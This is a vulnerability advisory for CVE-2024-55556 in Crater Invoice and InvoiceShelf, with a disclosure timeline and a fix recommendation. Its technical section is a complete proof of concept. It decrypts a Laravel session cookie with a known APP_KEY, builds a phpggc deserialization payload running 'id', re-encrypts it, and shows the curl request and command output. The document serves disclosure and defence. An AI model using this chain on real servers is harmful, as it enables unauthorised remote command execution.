Crater Invoice - Unauthenticated Remote Command Execution when APP_KEY known

13/12/2024 - Download

Product

Crater Invoice / InvoiceShelf

Severity

Medium

Fixed Version(s)

InvoiceShelf 2.0.0

Affected Version(s)

Crater Invoice ≤ 6.0.6

InvoiceShelf ≤ 1.3.0

CVE Number

CVE-2024-55556

Authors

Rémi Matasse

Mickaël Benassouli

Description

Presentation

Crater Invoice is an open-source web & mobile app that helps you track expenses, payments, create professional invoices & estimates.

InvoiceShelf is a fork of Crater Invoice.

Issue(s)

An unauthenticated attacker in possession of the APP_KEY would be able to achieve remote command execution on the server. However, this issue is mitigated by the regeneration of the APP_KEY when following the default Crater installation guide.

Affected versions

≤ 6.0.6

Timeline

Date Description
2024.09.05 Advisory sent to security@craterapp.com
2024.09.29 patch released on InvoiceShelf
2024.12.08 CVE-2024-55556 assigned
2024.12.13 Public release

 

Technical details

Arbitrary unserialization via Laravel session cookie

Description

The SESSION_DRIVER=cookie option is set on the default Crater .env file meaning that any session will be stored as a ciphered value inside a cookie. These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using Laravel's encrypt() function.

$ cat .env.example 
APP_ENV=production
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://crater.test
[...]
SESSION_DRIVER=cookie

An attacker in possession of the APP_KEY would therefore be able to retrieve the cookie, uncipher it and modify the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve remote command execution.

As a proof of concept, Synacktiv used the default docker-compose.yml from the main GitHub project.

Impact

To exploit this vulnerability, the cookie following laravel_session should be retrieved, here DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT. These cookies are delivered to any unauthenticated user:

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be used. In the following example, the mode decrypt was used to retrieve the cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT clear text value.

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!

Once decrypted, the cookie value should match a hash followed by a JSON object containing PHP serialized data.

An exploitation payload designed to run the bash command id on the server was generated thanks to the tool phpggc. The hash value before the pipe (|), here ae8213eefa7b10062a52485c7dcca8a5a937cc1c, should then be passed to the --session_cookie option to re-cipher a valid Laravel cookie, and the phpggc command to the -v option to cipher the serialization payload inside a valid Laravel cookie.

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=

$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=

The resulting value is then placed in the original cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT, along the laravel_session cookie and both sent to the server to achieve remote command execution.

$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)

The following video sums up the exploitation process:

Video file

Recommendation

Regenerate a new APP_KEY if you copied the default .env.example file.

Migrate to InvoiceShelf, a Crater invoice fork that is still maintained: https://github.com/InvoiceShelf/InvoiceShelf.

Link to the patch: https://github.com/InvoiceShelf/InvoiceShelf/commit/a64701bda570629757d3dd5a9277584fc0aeb34c.